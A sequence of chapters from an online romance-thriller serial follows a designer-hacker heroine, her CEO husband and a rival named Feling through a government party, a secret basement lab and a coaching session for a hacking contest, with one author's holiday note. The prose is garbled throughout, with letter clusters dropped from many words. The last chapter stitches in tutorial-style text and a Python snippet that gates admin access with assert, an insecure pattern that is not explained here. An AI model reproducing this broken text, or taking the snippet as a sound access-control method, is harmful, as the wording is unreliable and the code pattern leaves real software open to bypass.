
    "Thank you"


    "How many sugar cubes?" he asked.


    "Two cubes" I replied.


    Zhang Wei left to fetch me a cup of coffee.


    "So, what''s your agenda for the day in the office?" Bai Chang asked me while sipping on her coffee.


    "Nothing too major other than the process rted to bidding events."


    "Keep an eye and keep the other mobile phone that I gave you, with you."


    "Anything I need to keep my eye out for?" I asked her.


    "I''ll keep an eye out for you, so no trouble there. But do make sure you do not sign any suspicious documents or get in trouble. I will keep you posted, so at all times keep the phone on you. It is undetectable under any kind of metal or electronic detector."


    "Ai... Ai... my Queen."


    (<em>I realised that she is concerned about my safety as well as the bidding event.</em>)


    "Do not worry, I will keep my guard up at all times."


    "You better do, rest I will handle from here."


    I quickly finished my breakfast. Sipped my coffee and then, I am ready to leave for the office.


    As I am about to leave I turned towards Bai Chang and kissed her on her cheeks.


    In return, she surprised me by quickly nibbling my lips. Giving me a naughty eye wink she hurriedly fled from the room.


    I stand shocked as I rub my lips.


    I then really leave for the office, light on my feet.


    *******


    -In Hu Corporation Headquarter Office Building-


    As I reached the office, I was ambushed by Ming Li.


    "Bosss." he cried out.


    (<em>I am lost at his over-dramatic portrayal of emotions towards me.</em>)


    "What?" I replied curtly. (<em>It''s best to cut his antiques as early as possible.</em>)


    "Boss, there is so much going on here."


    "Let''s talk in my office," I replied.


    We headed to my office swiftly. After settling down in the office, I nod my head for Ming Li to continue.


    "Boss, we received an official invitation to the bidding event. It takes ce a weekter. As we predicted. And they have a semi-formal event tomorrow. It''s a plus one event."


    I raised my eyebrows, indicating to continue.


    "Boss, from an inside source I got to know that people are nning trouble for the event tomorrow, specifically directed towards us."


    "Go with the flow, rest I''ll handle."


    "Okay, the invites and details to the events are on your table"


    I look into it.


    My phone vibrated in my pocket, the one from my wife.


    "Okay, I will look into it."


    Ming Li understood, he left my office right on cue.

 Chapter 61: Preparation

    Chapter 61: Preparation


    I took my phone out; there was a message shing on the screen.


    "I am your plus one for the party, no arguments."


    ''Very assertive, just my Queen''s style.''


    I smiled and looked through my desk, there was an ivory envelope. Very chic looking with a metallic finish, inside is a red card with details to the event and the venue.


    I tucked the invite in my coat and got busy with my work.


    ******


    [POV Bai Chang]


    After Qiang left for office. I asked out Zhang Wei, as Brother Li Jie is out of the country on a secret errand of mine.


    "Hey Zhang Wei, join me in the study room, the third floor."


    "Okay, be there in a few moments."


    I walked out of the living room and walked towards the study.


    -The Study Room-


    I jacked up ''Jiffy''.


    "Boy, we might have to overwork today," I said as I entered new workmands in ''Jiffy''.


    [Knock Knock]


    "Come in"


    "You know Mr Hu will get really upset with the amount of time you spent with me than with him."


    "What gave you the impression?" I asked.


    "Last night, he really was sour with ourmanderies."


    "Did I ever question hismanderies with Ming Li? We each have our confidants. We each have our own group of people we like to work with. He might be jealous but he is no fool."


    "You are right, he did quickly catch on to the context of our chatst night."


    "Oh! He is a bad boy himself, no worries there."


    "So What we got today?" He asked me.


    "Something pretty interesting, Feling''s on the maind and he is already nning traps here and there," I replied casually.


    Zhang Wei was not happy for some reason, his knuckles tightened, his body straightened a bit more.


    "Rx, I got this under control as of now," I handed him a tablet. There was footage of Feling''s surveince on Qiang and Hu Corporations ying on the tablet screen.


    "As you can see, I too have surveince on him."


    "What are you cooking here?" He asked me tight-lipped.


    (<em>He seems more tense and rigid than usual, What''s up with him?</em>)


    "Anything of concern?" I asked.


    He shook his head, "Nothing, let''s focus on the task at hand. What are you after?" He replied.


    Instead of talking, I showed him some video footage in chronological order. With each passing video, he seemed to be flushed with anger.


    "I am going to the semi-formal part, with Qiang."


    "Why?"


    (<em>He definitely looked like he didn''t agree with the idea of it.</em>)


    "I have my own reason but the overall objective may be summarised in one word, i.e. ''Feling''."


    "What do you get out of it?"


    "Know your enemy and you shall prevail, I want to meet the public face of my enemy while we are still obscured from their radar," I answered.


    <strong><em>(Oh Feling! Let''s enjoy a game of hide and seek. It''s my turn to seek.)</em></strong>

 Chapter 62: Zhang Wei

    Chapter 62: Zhang Wei


    [POV Hu Qiang]


    After the long day in the office, I returned home.


    (<em>Seriously, staying away from my wife is turning my head crazy. Should I shut thepany and be a house husband? No, that would turn too stressful for my Queen. When will Xiao Wei grow up? I really need to get that boy working</em>)


    I first went to my vi to grab a spare dress for tomorrow''s event. Then I went to my wife''s Vi.


    ****


    As I walked into the main Vi, Zhang Wei greeted me, "Good evening".


    "Hi, Where is she?"


    "In the garden, napping on the lounger chair," he replied.


    "Thanks," I replied and moved towards the garden.


    The garden is full of Pansies, Vi, Winter Jasmine on the flower beds, While Winter Berries are growing in the corners, proud and beautiful like snow. The garden really reflects that the winter is here.


    There is a beautiful floral smell in the air from the Jasmines that are blooming in the garden. And among all these flowers, she was deeply asleep. There is a soft wool nket covering her.


    I slowly approach her as I continue to admire her.


    She looks so adorable as well as vulnerable. Looking at her now and thinking about tomorrows'' party gives me a headache.


    "Don''t worry, she is strong, stronger than you are aware of."


    I''m taken by surprise, "Zhang Wei"


    "She is strong, trust her, Do not doubt her capabilities, she is much stronger than you or me."


    "I want to ask you something?"


    "Ask away," he replied.


    "Why did youe back to her side, after all these years?"


    He looked lost in his thoughts when I assumed he wouldn''t reply, he spoke up, "because I have to fulfil my promise to her."


    "Even if she doesn''t remember?" I enquired.


    "Even so," he replied with conviction.


    "What''s your guarantee, that history won''t repeat itself all over again?" I asked.


    "I believe she returned to us stronger than her past self. This may not be what we desired, but this is what we got. Honestly, it''s not all bad. It just means, she is much better equipped to take care of herself than us."


    "Why do you say that?"


    "Just saying," saying so he avoided answering me.


    "I see she trusts you more." I stared Zhang Wei in his eyes.


    "I told you I don''t want to disappoint her or myself this time."


    We keep quiet. The air suddenly feels biting against my cheeks.


    "What about tomorrow?" I looked towards Bai Chang as I asked Zhang Wei.


    "Stay alert and careful as well as follow Bai Chang''s lead there. She has it all under her control currently.


    I raised an eyebrow as I looked towards him.


    "Feling would be there, he is nning to trap you to lure her out."


    "He dares," I snarled.


    "Patience, do not be reckless likest time," he ced his hands on my shoulders as he clenched them. His fingers dig into my shoulder de but I hold my pain inside.


    "Don''t disappoint her this time, otherwise you will lose her for forever," he said and walked out of the garden, leaving me with my sleeping wife.


    (<em><strong>I will never let the past repeat itself.</strong></em>)

 Chapter 63: Bai Chang & Qiang

    Chapter 63: Bai Chang & Qiang


    [POV Bai Chang]


    A pair of arms wrapped around me and carried me in a princess style. Qiang''s presence in my proximity brought out altogether a different kind of warmth. I snuggled into his arms.


    He held me tight and walked inside.


    As heid me down on the couch, I held onto his hands.


    "Are you awake?" he asked yfully.


    "Umm-hmm" I replied.


    "Do you want to sleep some more?"


    I shook my head but still kept on lying on the couch wrapped inside the nket.


    He started to y with my hair. There was silence between us, but in no way was it awkward or smothering us. There was an understanding. Slowly we were building trust among us.


    "You rest some more, I will join you after I freshen up," he said.


    I simply nodded my head in reply while taking a long yawn. He ruffled my hair and left.


    (<em>Oh no! I am no pet of yours that you pet me on my head.</em>)


    I am simply annoyed by that.


    I peek around the living room through my nket. It''s empty, I couldn''t find Zhang Wei there.


    In the garden, they talked about something rted to Bai Chang. What could it mean? As I woke up in the middle of their conversation, I am not too clear of the premise. I willter take a look at ''Jiffy'' to know the content.


    At the moment, I don''t feel like leaving the nket. It''s so cosy and warm.


    (<em>Well understand that it''s winter already.</em>)


    We are soon approaching the month of December. Currently, it''s the end of November month. Though the central heating for the Vi is on, stepping outside still felt harsh.


    There are light sounds of footsteps on the stairs.


    After a moment Qianges within my sight.


    "You look so cute rolled up in that nket," he said, while he had a light smile ying on his lips.


    "Well thank you," I puffed my cheeks, still annoyed that he messed my hair.


    "Why are you sulking?"


    "You messed my hair," I replied while pouting.


    "Come here, let me fix it for you."


    He sat beside me and got hold of myb from somewhere.


    (<em>Did he mess them up, so canb them himself?</em>)


    He slowly started tob my hair.


    Lightly he brushed the knots out of my hair. It felt great. Like getting myself a hair massage.


    I closed my eyes as I slowly enjoyed the stimtion.


    (<em>In my head I see the Hu residency living room, where I''m sitting on the carpet, while Qiang is brushing my hairs. It looked so surreal. Then I realised it is a part of Bai Chang''s memories.</em>)


    I suddenly interrupt himbing my hair.


    "Where is the party? At what time is it?" I asked him.


    He looked surprised by my abrupt question but still answered, "It''s at the Grand Hotel, the same venue as of our fashion show. Time is 7:00 p.m."


    "Okay," I replied.


    I lean into him and we just sit around like that overlooking the garden outside. It''s dark but there was an altogether different charm to the flowers in the garden.

 Chapter 64: To The Party

    Chapter 64: To The Party


    [POV Hu Qiang]


    Last night I witnessed an altogether different side of my wife. Cute, docile, homely andid back.


    I have always seen her in active mode from the time she woke up. Last night while I apanied her I realised, she simplycked trust in me. I am not saying that she ispletely truthful towards me but she is at least trying to actively close the distance between us.


    (I like that. I like that we are trying.)


    I am in the office. I would pick her up in the evening for the semi-formal event tonight.


    The day passed by without any major upsets.


    I close the file I am working on and look at my wristwatch. It''s 4:00 p.m.


    ''I better get going.''


    I start to clean up my table. When-


    [Tring Trringg]


    My officendline started to ring. I paused and answered the call.


    "Hello"


    "Hello Sir, there is someone who wants to meet you," she got interrupted, "Darling"


    Listening to that voice "let her in." I replied.


    After sometime the elevator chimed on my floor and there was sound of heels clicking,


    [Knock Knock]


    I felt a little mischievous. So I replied, "Who''s there?"


    A melodious chime like voice replied, "Your Queen, serve her".


    I opened the door wide open, fit for a queen to enter. I stood stunned.


    She looked mesmerising as she stood by the door. She is wearing a dark burgundy bodycon evening gown with sparkling gold jewelleries. It looked simple, yet chic.


    "Close your gaping mouth. I got you your change of clothes for the evening event. We will leave from your office. If possible let''s have dinner before we go to the actual event."


    My brain is still mesmerized by her looks.


    "Chop-Chop, let''s hurry up," She urged.


    I took the package from her hand and went to the side room in the office, to change. While she waited outside.


    I freshened up in the small attached washroom and then speedily changed my dress. It is a three piece suit, charcoal ck in colour with faint grey pinstripes on the trouser. The inner shirt is off-gray in colour.


    The cuff-links are made up of gold to match her essories and there were shiny boots to go with. But I couldn''t find a tie.


    I walked out of the side room. There I see, Bai Chang sprawled over the couch.


    "Are you not feeling well?" I asked her in concern.


    "Nah.. I''m getting a feel of the couch for some future ns," she said as she winked at me.


    And I swear my heart fluttered.


    "Come here," shemanded. I walk towards her already bewitched. She got a silk tie in bold royal blue colour and started to tie it around my neck. It feels super intimate. I am able to see her face up close. Her winged eyeliner, kohl filled eyes and shimmery light pink eyeshadow. Dark red juicy lips


    "Okay done."


    Her voice broke me from my thoughts. We looked at each other and I took her hands, we walked out of my office, to the party.


    (<em><strong>It''s time to battle with words.</strong></em>)

 Chapter 65: Feling Meets Bai Chang

    Chapter 65: Feling Meets Bai Chang


    [POV Feling]


    There were all kinds of people in the party. There were old bigotry characters, to self-proimed geniuses overworking their staff in the dark. Then there are some genuine ones like the CEO of The Hu Corporation.


    ''But even he is not a God, because God doesn''t live under surveince.''


    I look around as I await him. I approach the bar.


    "A pint of Whiskey on rocks," I ordered the bartender.


    He quickly delivered the drinks as I stand in an inconspicuous corner of the room and pass my time doing- people watch.


    Few businessmen got a hot mistress to apany them as their plus one. These few old c**ks areparing the size of their ck money in the bank, as well as the size of their P**is.


    It sure is hrious to look at them fooling around like a clown. All their life''s ie is under my fingertips. They all are one click away from their respective bankruptcy.


    I smirked as I thought about it.


    The door opened again, as I looked, who is it? My hands twitched. It was CEO Hu Qiang with his wife Ms Shui Bai Chang.


    "It''s about to get interesting now," I thought to myself.


    I start to keep a silent tab. After all, I''m a nobody here.


    They walked around the party. Meeting one person to another. The men had their eyes on Bai Chang. She did look ravishing. From her dress today, it seems the report was true. She is a capable designer.


    ''But is she only a capable designer?''


    (<em>I highly doubt that!</em>)


    The party carried on, there was a charged exchange of words and underlying tension concerning the bid, that would take ce after a week. And the fattest meat on the te is the Hu Corporations.


    So far CEO Hu Qiang did a great job to keep everything under check. Then Ms Shui Bai Chang walked towards the bar.


    She walked to the bar, "A Virgin Mojito please," she ordered.


    The bartender started to make fresh drinks on the counter.


    "Nice to meet you Mr Feling, I believe we finally meet," she said, still looking towards the bartender.


    Inside I am a little surprised, she recognised me.


    She continued as if not bothered by the absence of a reply from my side.


    "I didn''t like thest gift you sent mest time, just came to let you know there are a lot more good alternatives for proper gift selection. But do not fret, I am by no means heartless. I will send you a proper return gift appropriate to your gift. Hope you find it interesting."


    "Ma''am your drink." the bartender spoke up.


    "Thank you," she replied and then left. She joined CEO Hu Qiang, by his side. She didn''t look perturbed at all.


    I raised my guards a little. She seemed to insinuate something but left the conversation, as breezily as she initiated it.


    "F**k, what just happened?"


    "Did she just threaten me?"


    I think over her monologue, but I can''t gauze any clear meaning.


    When she returned to CEO Hu Qiang, she said something in his ears.


    "Did CEO Hu ask her to pass the message?"


    <strong>(</strong><em><strong>What are you nning CEO Hu Qiang? Whatever it is, it would all be futile, just likest time!</strong></em><strong>)</strong>

 Chapter 66: Happy Holidays!!

    Chapter 66: Happy Holidays!!


    Hey, my lovely Readers!!


    How are you all doing? Hope you all are doing great...


    Its the end of the year, the year finallyes to an end. There were bad things and good things that happened to all of us. So, take a step back, take a deep breath and sit down in yourfort ce.


    Well, take into ount all the good things that happened to you all.


    like for me, I started to write to publish and on my journey, I got to know some lovely people all around the world. I got to meet you all... (my readers). The loss I had because of this year was substantial but as I started to write,


    I got something more. I got you all with me, witnessing my journey of writing.


    You all are witness to my first steps in this field. The story "Redeeming the golden ticket to life" is my first story I wanted to write for others... I had this story within me for the past two years...


    And here we are folks... me writing it; you all reading and supporting it.


    So I wish from the deepest parts of my heart, that all my readers have a happy time too. As the yeares to an end, let''s aspire to upgrade ourselves. Let''s invest in ourselves and hope to acquire our set goals.


    <em><strong>HAPPY NEW YEAR TO YOU ALL LOVELIES OUT THERE!!</strong></em>


    <em><strong>I wish you all happy holidays. My entire 301 readers.</strong></em>


    <em>Livy_mari_; NighT_FoX; Si_Rose; 2496; Yajaira_Ramirez_4324; paege ;Royaldivawolf ; CodeW; Tanya_Smith_4911; wee to the family!!</em>


    <em>balpri; Abbyy_y0y0 ; PrincessDustbunny; Yebee ; katiecride; kaikaikaiiiiiiiii; TheIllusionist; Darlene_Virginia ; seure; Bookwormer02; Adhiti; Deandra_ckwood; Asdffghjsdff; Gina1235; eliene; Honey15; afz; GoldenGirl7886; Shiny_Star5683; Titania23; Chinasa_Odo ; Gideon_Johnson; Omot_Grace; Prince_nonchnt; DragonKnov; ForeverPupa ; MonarchX; Abby_7663 ; Miamari ; MeShi; Vio_Vancy; Chayeshya; Kesiya_Kochumon; starag ; Mrs_Meghana; Blueee_, eavesdropperr; Demarcis04; Josephineamenawon; CCCXLVIII</em>


    <strong>Thank You all so much for your support for the past two months... Please do keep to support the story and this author in theing year.</strong>


    I love you all and thanks for your support,


    Sincerely,


    sagorika_adhikari


    (author)


    P.S. See You All On 1 Jan, 2021

 Chapter 67: The Party (Continued)

    Chapter 67: The Party (Continued)


    [POV Hu Qiang]


    After having dinner at one of the restaurants we headed to the party.


    As we reached the venue, the ce had an office party vibe to it. Wherever your eyes turn, you get to see Government banners and logos. There are Champagne flutes or Whiskey sses in everyone''s hand. Businessmen and government officials were mingling in the crowd.


    It worries me. Bai Chang had never been to such parties before, ''will she feel ufortable?''


    I look towards her.


    She looked calm andposed. There was no worry or jitteriness to her. She looked- ''normal''.


    "Are you okay?" I still asked her to be sure.


    She looked around the party then shook her head,


    "Nothing much to see other than- boring decor, sleazy government officials, a bunch of greedy businessmen.


    And the majority of people present here are going through their mid-life crisis. As they go with a young mistress or wife or escort to show off to their counterparts "


    I looked at her while thinking to myself ''What the hell!''


    "Of course excluding you, as you are my baddie wolf," she said mischievously.


    "Shall we join the floor then!" I offered my arm to her.


    "Sure, let''s get them in trouble."


    "Sigh"


    (<em>''I guess my wife is feeling mischievous and restless, as she wants to mess up with people here.''</em>)


    We walked deep into the room. A few known business colleaguese towards us.


    "Hello CEO Hu, you look good today," said one of them.


    "Of course he will look better than us old folks. He is with a beautifuldy by his side," said another person, even before I could reply.


    "Good evening gentlemen. Meet my wife Mrs Shui Bai Chang, the better half of my life."


    "CEO Hu, you are so fortunate," then he turned to Bai Chang. " Mrs Hu, it is an absolute pleasure to meet you in person."


    "It is nice to meet you too Mr. "


    "Mr Jin," the man spoke up.


    "Mr Jin," she replied.


    "Congrattions on your ''Runway'' sess. I was present there to see it in person. I must say, it was an absolute treat to my eyes to see ''Runway'', Mrs Hu."


    "Well thank you, Mr Jin, for yourpliments. I won''t lie,plements do encourage me to work more. But Mr Jin, you yourself look like a man of taste. I like the colour of your tie. Is it from Louis Philippe?"


    "Mrs Hu, I am absolutely convinced in your craft, you identified it right. This necktie is from the Louis Philippe brand. Mrs Hu, tell me when your next collectiones out. I want to make some reservations for my daughter. You see, she turns eighteen next year," he said while shrugging his shoulders.


    "I understand Mr Jin. Girls love their dresses and as a dad, you love your girl the most. You would get anything for her," she replied with aforting smile.


    "CEO Hu, we heard a lot about your new cyber-security code in the market. Mind letting us in on a few details here." someone from the crowd spoke up.


    (<em>''There we go, end of all small talks. Now on to the real game.''</em>)


    "Yes, CEO Hu, you have been very coy with it this time around."


    "Mrs Hu, what do you think about it?"


    "Now- now Gentlemen, calm down. You asked the wrong person here. I am only responsible for the Fashion house in ourpany. As Mr Hu won''t let me take extra work here. He spoils me too much," she replied while ying coy and blushing slightly.


    "CEO Hu, we never knew you are such a nice person," someone spoke out with sarcasm.


    "Well as you know, I like to keep my private life private. So I don''t gossip about it." I said.


    "Gentlemen excuse me, you men talk shop here while I get myself a drink. How does that sound?" Bai Chang said as she looked towards me and left my side after lightly pressing my palms. Signalling me to stay put here.


    She walked away from the crowd, towards the bar.


    "It seems CEO Hu can''t get enough of Mrs Hu, his eyes are still on Mrs Hu while he is talking to us old people here."


    I give them a polite smile. As I keep on to observe my wife.


    She walked towards the bar and ordered her drinks. Then she said something


    I look beside her, and there he is


    ''Feling''


    I am restless as I watch her making small talks to Feling. The man in person looks non-descriptive other than his copper hair and predatory eyes. He does a good job to hide them.


    As Bai Chang speaks, he looks confused. Then it turned to a little hesitation.


    As the bartender offered her the drinks, she started walking towards me without looking back.


    I keep on observing Feling. He looked frustrated and slowly it turned terrifying. He looked mad.


    My wife, she walks to my side. I bent and asked her in a whisper, "What did you say to him?"


    She turned to me and spoke in my ears, "Something to make him mad and tell him that he shouldn''t mess with this Queen."


    My heart started beating fast as my fists mped up.


    (<em>''I see the blood mangled body of Bai Chang lying in front of me.'' Last time</em>)


    I grab on to her hands tightly. She looked at me, asking me.


    "I can''t lose you," I said weekly.


    "Rest assured I will take care of myself," She replied looking into my eyes. Asking me to believe in her.


    It filled me with warmth but my heartbeats betrayed my fear. I could only hear my heartbeats and see her lying on a hospital bed.


    (<em>I do not want her back on a hospital bed!</em>)


    [cling cling cling]


    A man decked up in an official, stiff three-piece suit, clung his Champagne ss. To grab the attention of all people present at the party.


    "Ladies and Gentlemen, thank you for your presence. We would like to sincerely thank you all for your efforts in the past decade to make the economy boom in our country. We are happy to see all your efforts and as always would like to coborate with you for certain projects. As we did in the past."


    There were light murmurs throughout the cloud.


    I searched for Feling from a corner of my eyes, but he was nowhere. He vanished into thin air.


    (<em>I didn''t like the feel of it.</em>)


    The man on stage continued, "We know security ys a key role. With the onset of the digital era, cyber-space security holds equal importance for the country as does its borders. So we received few bids forpetent cyber-security code.


    We want to turn it into a live demonstrationpetition."


    By my side Bai Chang trembled, there was a gleam in her eyes. She exuded confidence as well as the subtle aura of a superior predator.


    "We would like thepanies to show us what they got to offer us in a real-time situation. This will make the bidding process fair and legitimate. This event is organised to ry the contest details for the bidding. And to interact with the participatingpanies one-on-one," the man said.


    "Now excuse me, I will take your leave as I am aware that no one wants an over-talkative host in such kinds of parties. At that note, I bid you goodbye. Please enjoy the party and the delicacies provided. While we all chat around with the Businessmen present here," he said so and walked down the stage.


    People encouraged him with polite apuse.


    We walked along with the crowd and passed a few officials and people.


    We paused and people chatted with us. Most people who came to us talked the most while Bai Chang from the side directed the flow of the conversation. It was very tiring.


    "Qiang let us return home," she suggested all of a sudden.


    "Okay," I replied. She might be tired after all.


    We walked out of the Grand Hotel and walked to its foyer waiting for our car to be brought out of parking.


    I am still raw from seeing Feling with my own eyes. Those multiple surveince cameras in that little room are still fresh in my mind.


    I just hope we reach home safe and sound.


    "We will reach home safe and sound," she said while holding onto my palm.


    "Of course we will, why do you suggest the obvious," I said as I flicked her forehead lightly.


    "Night holds no secrets, all secrets are left in the open to be explored," she said as she looked me in the eye.


    (<em>''Is it that obvious to her eyes!''</em>)


    "Then what does tonight''s night sky reveal to us?"


    "A sky full of stars and dreams to fly by," she whispered.


    We walk out to the patio of the frontne and look up to the stars. There is smoke, fog and dim stars shining as brightly as they could. To shine through the city smog and tall skyscrapers.


    "Let''s go"


    I took her hands, walked towards our car in the front yard, and the valet left.


    We left for home.


    <strong>''Our home''</strong>

 Chapter 68: Time To Prepare

    Chapter 68: Time To Prepare


    [POV Bai Chang]


    Last night we returnedte. As we drove, we came across a park. I couldn''t resist it, so we walked on wet grass under the night sky.


    It was cool and rxing.


    Last night Qiang looked really tense aftering across Feling. He acted like a tightly wound wire. He didn''t rx until we reached home.


    Only then he heaved a sigh of relief.


    (<em>There seems something fishy about his whole reaction, all night long.</em>)


    He went to the office, while Cyrus is supposed to swing by his ce today, to polish up his skills with the code.


    I walked down to the dining table.


    "Zhang Wei, what''s for breakfast? I feel famished."


    "It''s congee for you. You need to rest your stomach. As you had a heavy dinnerst night."


    "Okay"


    I ept it, as there is no going around him when ites to health. Even during exercise or my work out schedules; he keeps a sharp lookout so that I do not overwork myself.


    It sure is sweet of him.


    "When is Brother Li Jieing back?" I asked as I was served a bowl of congee by Zhang Wei.


    "Soon," he replied and looked at me, "don''t worry he is safe."


    "I will take you at your word but remember, if you or Brother Li Jie or any of themandos face any trouble, bring it to my notice at once. What you can''t do, I might be able to help you with it."


    I look into his eyes and hold them as I speak, "I am not weak. You can lean on me for support of any kind."


    I decided to try something as I added, "It won''t be likest time."


    Zhang Wei visibly flinched. There was a sense of doom in his eyes, just for a second.


    (<em>It seems I am right to assume, that all of them i.e. Hu Qiang, Li Jie, Zhang Wei as well as themandos all are connected to Bai Chang''s ident as is Feling.</em>)


    I eat my congee in peace as Zhang Wei left me be.


    He disappeared just like that, to work in some other part of the Vi.


    ****


    I moved to the studios to work on my next collection.


    As I walked into the studio, the unfinished dress on the mannequin weed me. It reminds me to start my work but first I need to do something.


    I walked far into the studio. There is a carpet wall decor covering the entire wall at the backside of the studio on the first floor. I pushed the decor aside slightly and came face to face with a door. It is the door that leads to the basement.


    While I was renovating the floor, I changed the lock system of the door. As beyond this door lies my deepest secret. The rejuvenating remains of my past life and the world that I lived in.


    I scoop out the long-chain pendant that lies around my neck. At the end of the chain, the pendant is a small circr orb. It is semi-transparent. There is also an otherworldly glow on the orb.


    The orb holds a little liquid nitrogen with an immortal cell holding a piece of my DNA. The orb is double-coated with diamond, iid with circuitry copper for electronic induction. And on the outside, it is covered in a slimyer of epoxy resin and over it, it isyered with ss.


    The orb had a micro-optic fibre inserted from the long-chain on which it dangles. It serves a different purpose.


    I ce the orb on a small keyhole. The internal mechanism scans my DNA and finally, the door opens.


    I actually turned my DNA into a ''Bio-Pendrive''. This world has developed the technology but it is still in its primitive prototype stage. So I used this method to develop my own security codes and countermeasures.


    After the initialisation, I walked down the stairs to the basement.


    What meets your eyes is separate clear chambers, each for a different purpose.


    I walked towards the clear chamber in the right corner and pushed the door. The HEPA filter forms a counter-current air screen. It is to inhibit outside atmosphere toe in contact with the sterile atmosphere inside the clear room.


    There is a high-pressure aerosol sanitization. I wear a clear overcoat and cover myself in basic Personal Protection Equipment. I walked inside.


    There are various Titanium alloyed drawers in the room. I walked towards one of them and pulled out a syringe, a few disinfectants, gauze and blood bags.


    Time to donate blood to my future self.


    I am a person with a golden blood condition, apparently, I might go to active or passive war with my potential enemies. Which really is not a safe option if your blood is the rarest kind in the world. As you may just bleed to your death.


    (<em>Like literally, I may bleed to death. No pun intended.</em>)


    So in the normal blood bank, Red cells are stored in refrigerators at 6 degrees Celcius for up to 42 days. telets are stored at room temperature in agitators for up to five days. sma and cryo are frozen and stored in freezers for up to one year.


    While here in my basementb, due to advanced cryo technology the shelf life of transfusion blood increases from 42 days to 60 days. This gives me a buffer period of one month to prepare for the next batch of blood bags.


    As for the expired blood bag i.e. particrly Red blood cells containing bags, I used them as experiment materials for my medical research.


    They turn into samples. Used to test various advanced drugs and futuristic medicines that I generate here in theb. They are for my use or emergency needs of my family and subordinates.


    Ibelled the respective units and left it on an agitator.


    After that, I walk to another clear unit room. There are a few pharmaceutical setups as well asb-scale fermentors and reactors. It is to produce respective drugs from the living organisms, i.e. antibiotics or specific cogen that helps produce degradable organic suture threads and medical gauze or specific first-aid requirements.


    For the past few months, I have been working tirelessly to set up an emergency futuristic medical unit for my immediate use. To avoid death from these archaic medical practises.


    I checked the reactor''s temperature and pressure.


    I looked into the antibiotic production process. I walked towards the organic section. Where the particr strains of microorganisms are being incubated. On the left side is an incubator maintained at 24 degrees Celsius. It is where bacterias are incubated.


    On the right corner, another incubator is maintained at 130 degrees Celsius to grow extremophiles. They mostly produce organic cogen, when induced to reproduce under stressed conditions.


    Monitoring their temperature I moved to take the test sample to test their growth conditions.


    I lost my awareness of time as I worked in the basementb.


    My stomach growled.


    ''Huh.''


    (<em>I guess it''s lunchtime.</em>)


    I quickly wrap up the work on hand. Then I look around theb to check for safety measures and regtors.


    Finally, I walked out of the basement.


    ''Yawn..'' I stretch out my arm and move my legs to warm-up my body.


    [Creak Creak..]


    My neck creaked as I moved my neck side to side.


    I walked towards the Vi.


    ''I am so hungry.''


    I walk fast at the thought of food. But as I enter the main building Cyrus greets me at the front door.


    "Good afternoon, ma''am," He greeted.


    The boy is still sporting a sweatshirt and trouser. The only sign that he groomed himself to make himself presentable in his neatlybed hair.


    "Wee," I replied.


    "Ma''am, the boss sent me to learn the security code to perfection for next week''s contest.


    "He did?" I paused, "Okaye inside let us have lunch before we get to work as I am famished.


    "Ma''am"


    "Don''t you worry! Come in. No one will fire you from your job for having lunch with me."


    "Yes ma''am."


    We walked in together. Zhang Wei spotted us as we entered the living room.


    "First eat then go to work," he said curtly.


    (<em>Oh boy! Am I in trouble again?</em>)


    I quickly sit down on the dining table. As Zhang Wei served our lunch, I observed thisnky European boy. As it is hard to picture him as a man. He exudes the carelessness of student life.


    We had a quiet lunch and then I asked him to wait for me on the ground floor study room.


    Imanded ''Jiffy'' to bring myptop from the study room on the third floor.


    As I walked into the study room I saw Cyrus, all ready to attend a lecture and take notes.


    "This is not going to be a theoretical ss. It would be entirely practical," I walked up to the armchair and made myselffortable.


    As if right on cue ''Jiffy'' entered the room with myptop and other rted essories.


    <em><strong>"OMG!! Is that an AI-Robo like from the film ''Terminator''?"</strong></em>

 Chapter 69: Cyrus Meets His Idol

    Chapter 69: Cyrus Meets His Idol


    [POV Cyrus]


    "OMG!!!"


    "You have a fully functional AI robot!" I am amazed by the piece of art standing in front of me.


    "Hi, my name is ''Jiffy''. Stop calling me an Artificial Intelligence piece of metal," the Robo introduced itself.


    I am mesmerised.


    "So Cool! Pardon me Mrs Hu but this is a dreame true."


    (<em>Imagine yourself standing in front of R2-D2 from the Star Wars movie. Only thing is, I am in front of a far more advanced and almost humanoid version of it. The punch it packs!!</em>)


    "Hi Jiffy," I extend my hands as a greeting. It took my hands.


    ''Oh, the thrill.''


    "Stop goofing around Cyrus, I have a lot to do," Mrs Hu reprimanded me.


    "Yes ma''am"


    "Please call me Bai Chang."


    "Yes, ma''am Bai Chang," I replied awkwardly.


    "Cut out ma''am and just call me Bai Chang. Don''t worry, your boss won''t default you for that," she replied while a small smile enhanced the charm of her beauty.


    "Are you all set?" she asked.


    "Yes ma''am, I mean Bai Chang."


    My tongue twisted as I tried to stop myself from messing up this opportunity.


    ''In Front of me stands second most sought out hacker in the world, The ck Orion.''


    I look towards ''Jiffy''.


    ''Scratch that, she is already a next-generation coder ording to me. The best example being thetest cyber-security code designed by her.''


    "Let''s get started then," Mrs Hu said.


    I simply nodded.


    (<em>I''m gonna learn from the best coder in the world!</em>)


    "First thing first. Are you aware of the contest rules?"


    "Yes ma''- pardon me, Bai Chang."


    "Good, reiterate them to me."


    "Yes, they are going to conduct the event in two stages. The first stage, the participatingpanies need to crack the government cyber-security firewall. The second stage, Government hackers and coders would try to break participatingpanies security codes."


    "Hmmm Interesting. How do you suggest we win?"


    "Well, that''s easy by cracking the codes."


    She sighed at my reply.


    ''Did I say something wrong? My forehead furrowed up.''


    "Don''t get me wrong here but this is a contest, so"


    "So" I said.


    "So, we need to win this contest in style with a high impact on the spectators."


    I tense up. "How do we do that?" After some contemtion, I asked her.


    She simply smiled at me.


    "Okay, let us start with the First stage," she turned to ''Jiffy'', "start from our zero intensity then level it up a notch depending on his results."


    "Okay, initiating mock setups."


    "Cyrus," she turned towards me and said, "first start decoding the firewalls ''Jiffy'' setups for you. I will correct you in the process."


    Without further ado, a virtual system is set and ''Jiffy'' takes the control seat. I need to crack that firewall and hack the system


    It was a scene straight out of a Sci-Fi movie. There is blue techno light reflecting throughout the study as the virtual holographic screen floats in the middle of the study.


    (<em>''So F**king Cool!!''</em>)


    The first one is easy, I start to type the assert code.


    Since the beginning of the digital age, information has be one of the most valuable resources in the world. Personal information, bank data, logins and passwords - all of this, on one hand, makes life a lot easier in many aspects, and on the other, can be used by attackers tomit actions which will have negative consequences for the owner of this information.


    Of course, to get hold of this information, you first need to find the vulnerabilities in the software that will allow you to steal important information by interfering with the correct execution of the program.


    It''s not necessary to use assert to protect those code fragments that users shouldn''t have ess to.


    Like-


    <em>def secure(request, user):</em>


    <em>assert user.is_admin, "user does not have ess"</em>


    <em># protected code</em>


